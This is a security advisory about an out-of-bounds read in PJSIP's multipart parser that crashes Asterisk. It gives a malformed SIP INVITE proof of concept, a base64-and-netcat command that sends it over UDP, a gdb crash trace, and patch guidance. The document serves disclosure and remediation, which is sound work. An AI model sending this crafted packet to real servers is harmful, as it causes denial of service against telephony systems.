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Out of bound memory access in PJSIP multipart parser crashes Asterisk


A specially crafted SIP message with a malformed multipart body was found to cause a segmentation fault.


Abuse of this vulnerability leads to denial of service (DoS), and potentially remote code execution (RCE), in Asterisk when chan_pjsip is in use. This vulnerability is likely to affect other code that makes use of PJSIP.

How to reproduce the issue

We started Asterisk by running $PREFIX/asterisk/sbin/asterisk -fc. Then we made use of the following SIP message which was sent to Asterisk over UDP to reproduce the issue:

INVITE sip:2565551100@one.example.com SIP/2.0
Via: SIP/2.0/UDP sip.example.com;branch=7c337f30d7ce.1
From: "Alice, A," <sip:bob@example.com>
To: Bob <sip:bob@example.com>
Call-ID: 602214199@mouse.wonderland.com
Contact: Alice <sip:alice@mouse.wonderland.com>
content-type: multipart/mixed;`boundary=++


Note that the above SIP message only contains new lines (i.e. \n) and no carriage returns (i.e. \r). We sent this message by making use of netcat as follows:

echo 'SU5WSVRFIHNpcDoyNTY1NTUxMTAwQG9uZS5leGFtcGxlLmNvbSBTSVAvMi4wClZpYTogU0lQLzIuMC9VRFAgc2lwLmV4YW1wbGUuY29tO2JyYW5jaD03YzMzN2YzMGQ3Y2UuMQpGcm9tOiAiQWxpY2UsIEEsIiA8c2lwOmJvYkBleGFtcGxlLmNvbT4KVG86IEJvYiA8c2lwOmJvYkBleGFtcGxlLmNvbT4KQ2FsbC1JRDogNjAyMjE0MTk5QG1vdXNlLndvbmRlcmxhbmQuY29tCkNTZXE6IDEgSU5WSVRFCkNvbnRhY3Q6IEFsaWNlIDxzaXA6YWxpY2VAbW91c2Uud29uZGVybGFuZC5jb20+CmNvbnRlbnQtdHlwZTogbXVsdGlwYXJ0L21peGVkO2Bib3VuZGFyeT0rKwoKLS0KLS0rKz1BQUEKeHh4Ci0tKw==' | base64 -d - | nc -u localhost 5060

The following is a log from running Asterisk in gdb:

gdb --args asterisk -c


Asterisk Ready.
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffd6b85700 (LWP 2625)]
0x00007ffff783fd4c in parse_multipart_part (pool=0x1dff930, 
    start=0x7ffff0004359 "--++=Discussion of Mbone Engineering Issues\ne=mbone@somewhere.com\nc=IN IP4\nt=0 0\nm=audio 3456 RTP/AVP 0\na=rtpmapt...\n--+", 
    len=18446744073709551615, pct=0x1dffd60) at ../src/pjsip/sip_multipart.c:435
435             while (p!=end && *p!='\n') ++p;

The issue appears to be due to a loop that keeps running until the wrong memory location is read. This leads to a memory access violation. This issue is to be found within parse_multipart_part at pjsip/sip_multipart.c:435.

This issue was found using AFL, while fuzzing PJSIP.

Solutions and recommendations

Apply fix issued by Asterisk, upgrade to Asterisk 13.15.1, 14.4.1 or 13.13-cert4.

If making use of PJSIP, apply the patch in revision 5594. See https://trac.pjsip.org/repos/ticket/2017.

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